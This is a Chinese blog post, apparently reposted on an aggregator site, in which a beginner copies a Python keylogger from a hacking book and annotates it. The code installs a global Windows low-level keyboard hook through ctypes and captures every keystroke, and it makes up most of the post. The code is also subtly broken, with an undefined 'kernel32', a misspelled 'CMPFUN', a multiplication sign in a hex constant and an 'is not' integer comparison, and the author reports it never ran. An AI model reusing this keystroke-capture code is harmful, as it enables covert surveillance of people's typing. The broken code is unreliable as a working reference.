python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...
最近從圖書館借到一本書《Python黑客攻防入門》,感覺里面的提供的代碼模塊對自己深有感觸(主要我超菜),所以打算嘗試寫點小分析,希望大家能諒解本人的語言組織與技術分析。
希望有人來討論......
python 3.7版本
代碼塊
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
#調用WIN32中的API
user32= windll.user32 #以windll加載user32.dll文件
kernel=windll.kernel32 #加載kernel32.dll文件
WH_KEYBOARD_LL=13 #安裝一個監視低級鍵盤輸入事件的鉤子過程
WM_KEYDOWN=0×0100 #按下一個非系統鍵時將消息發送給具有鍵盤焦點窗口(不與ALT鍵連用)
CTRL_CODE =162
#定義掛鉤函數
class KeyLogger:
def __init__(self):
#初始化
self.lUser32 =user32
self.hooked =None
#裝載鉤子
def installHookProc(self,pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL, #要監視的事件
pointer, #指向鉤子過程的指針
kernel32.GetModuleHandleW(None), #要鉤取的線程所屬的DLL句柄,此函數返回
0 #要鉤取的線程ID,為0則表示全局鉤子
)
if not self.hooked:
return False #return false阻止向下執行
return True #返回正常結果,正常執行
#定義脫鉤函數
def uninstallHookProc(self):
if self.hooked is None:
return #return返回值為None,控制權交回
self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函數拆除之前設置的鉤子
self.hooked=None
#獲取函數指針
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUN(fn)
#定義鉤子過程
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey = chr(lParam[0])
print(hookedKey)
if(CTRL_CODE == int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
#8.傳遞消息:GetMessageA()函數函數監視隊列,消息進入隊列后取出消息,并傳遞給勾連中的
#第一個鉤子
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
#9.啟動消息鉤取,首先創造KeyLogger 類,然后installHookProc()函數設置鉤子,同時
#注冊鉤子過程回調函數。最后調用startKeyLog()函數,將進入隊列的消息傳遞給勾連
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
startKeyLog()
概念理解:
鉤子(hook):操作系統為有消息到來或發生鼠標點擊、鍵盤輸入等事件時,操作系統提供了中間攔截機制。鉤子分為本地鉤子和全局鉤子。本地鉤子針對特定線程設置,全局鉤子針對操作系統中運行的所有線程設置。
方法簡要:
使用user32.dll提供的SetWindowsHookExA()函數可以設置鉤子。
使用python中默認提供的ctypes模塊,可以在python程序中調用DLL,使用C語言的變量類型。
MSDN提供對WIN API的使用方法。
總結:
我靠,這程序運行出來命令行一直是黑屏,沒反應。是因為360嗎,反正我搞了兩天這程序沒成功,希望有大佬可以伸出援助之手,幫幫小弟...
總結
以上是生活随笔為你收集整理的python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: .mdf 如何导入到sqlyog_FLA
- 下一篇: 何为奇偶校验码?简述它们的区别。_加速试